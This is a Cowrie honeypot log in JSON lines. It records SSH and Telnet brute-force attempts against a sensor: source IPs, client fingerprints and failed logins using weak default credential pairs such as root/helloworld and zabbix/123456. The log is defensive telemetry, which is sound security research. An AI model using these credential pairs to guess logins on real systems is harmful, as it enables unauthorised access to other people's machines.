{"eventid":"cowrie.session.connect","src_ip":"182.253.168.47","src_port":45688,"dst_ip":"10.17.0.5","dst_port":22,"session":"8206d0381406","protocol":"ssh","message":"New connection: 182.253.168.47:45688 (10.17.0.5:22) [session: 8206d0381406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:03.827039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:03.832326Z","src_ip":"182.253.168.47","session":"8206d0381406","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":35012,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c86d3a3c3a6","protocol":"ssh","message":"New connection: 45.156.87.254:35012 (159.203.135.109:22) [session: 4c86d3a3c3a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:04.043324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:04.050781Z","src_ip":"45.156.87.254","session":"4c86d3a3c3a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:04.137855Z","src_ip":"45.156.87.254","session":"4c86d3a3c3a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:04.194378Z","src_ip":"182.253.168.47","session":"8206d0381406","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ghost","password":"ghost","message":"login attempt [ghost/ghost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:04.547079Z","src_ip":"45.156.87.254","session":"4c86d3a3c3a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:05.639488Z","src_ip":"45.156.87.254","session":"4c86d3a3c3a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qazxsw2!@","message":"login attempt [ubuntu/1qazxsw2!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:05.923145Z","src_ip":"182.253.168.47","session":"8206d0381406","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:07.206752Z","src_ip":"182.253.168.47","session":"8206d0381406","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":35022,"dst_ip":"159.203.135.109","dst_port":22,"session":"caf2a7618156","protocol":"ssh","message":"New connection: 45.156.87.254:35022 (159.203.135.109:22) [session: caf2a7618156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:08.530208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:08.534738Z","src_ip":"45.156.87.254","session":"caf2a7618156","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:08.624223Z","src_ip":"45.156.87.254","session":"caf2a7618156","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"123456","message":"login attempt [zabbix/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:09.007408Z","src_ip":"45.156.87.254","session":"caf2a7618156","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:10.098784Z","src_ip":"45.156.87.254","session":"caf2a7618156","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52696,"dst_ip":"159.203.135.109","dst_port":22,"session":"5473be6831a9","protocol":"ssh","message":"New connection: 45.156.87.254:52696 (159.203.135.109:22) [session: 5473be6831a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:13.218361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:13.224349Z","src_ip":"45.156.87.254","session":"5473be6831a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:13.307672Z","src_ip":"45.156.87.254","session":"5473be6831a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456","message":"login attempt [debian/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:13.566544Z","src_ip":"45.156.87.254","session":"5473be6831a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:14.655586Z","src_ip":"45.156.87.254","session":"5473be6831a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52706,"dst_ip":"159.203.135.109","dst_port":22,"session":"90a09f68e846","protocol":"ssh","message":"New connection: 45.156.87.254:52706 (159.203.135.109:22) [session: 90a09f68e846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:17.818184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:17.827187Z","src_ip":"45.156.87.254","session":"90a09f68e846","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:17.911652Z","src_ip":"45.156.87.254","session":"90a09f68e846","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"helloworld","message":"login attempt [root/helloworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:18.166108Z","src_ip":"45.156.87.254","session":"90a09f68e846","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:19.252455Z","src_ip":"45.156.87.254","session":"90a09f68e846","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":39202,"dst_ip":"159.203.135.109","dst_port":22,"session":"f03fc2cdab48","protocol":"ssh","message":"New connection: 45.156.87.254:39202 (159.203.135.109:22) [session: f03fc2cdab48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:22.471837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:22.478186Z","src_ip":"45.156.87.254","session":"f03fc2cdab48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:22.568179Z","src_ip":"45.156.87.254","session":"f03fc2cdab48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"neptune","password":"neptune","message":"login attempt [neptune/neptune] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:22.817589Z","src_ip":"45.156.87.254","session":"f03fc2cdab48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":60614,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7069262e7bb","protocol":"telnet","message":"New connection: 104.245.105.2:60614 (10.17.0.5:23) [session: f7069262e7bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:23.314401Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:23.904689Z","src_ip":"45.156.87.254","session":"f03fc2cdab48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":39214,"dst_ip":"159.203.135.109","dst_port":22,"session":"e20547eed197","protocol":"ssh","message":"New connection: 45.156.87.254:39214 (159.203.135.109:22) [session: e20547eed197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:27.011595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:27.017059Z","src_ip":"45.156.87.254","session":"e20547eed197","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:27.101971Z","src_ip":"45.156.87.254","session":"e20547eed197","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:27.355289Z","src_ip":"45.156.87.254","session":"e20547eed197","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:28.442837Z","src_ip":"45.156.87.254","session":"e20547eed197","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.207223892211914,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:28.521501Z","src_ip":"104.245.105.2","session":"f7069262e7bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.60742139816284,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:29.812197Z","src_ip":"20.123.41.163","session":"68168d4b710d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":41430,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a74f510b21c","protocol":"telnet","message":"New connection: 20.123.41.163:41430 (10.17.0.5:23) [session: 1a74f510b21c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:30.090137Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":34134,"dst_ip":"159.203.135.109","dst_port":22,"session":"2db002c48cfb","protocol":"ssh","message":"New connection: 45.156.87.254:34134 (159.203.135.109:22) [session: 2db002c48cfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:31.788339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:31.796450Z","src_ip":"45.156.87.254","session":"2db002c48cfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:31.883793Z","src_ip":"45.156.87.254","session":"2db002c48cfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147258","message":"login attempt [root/147258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:32.134443Z","src_ip":"45.156.87.254","session":"2db002c48cfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:33.288298Z","src_ip":"45.156.87.254","session":"2db002c48cfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.241081237792969,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:36.331068Z","src_ip":"20.123.41.163","session":"1a74f510b21c","protocol":"telnet"}
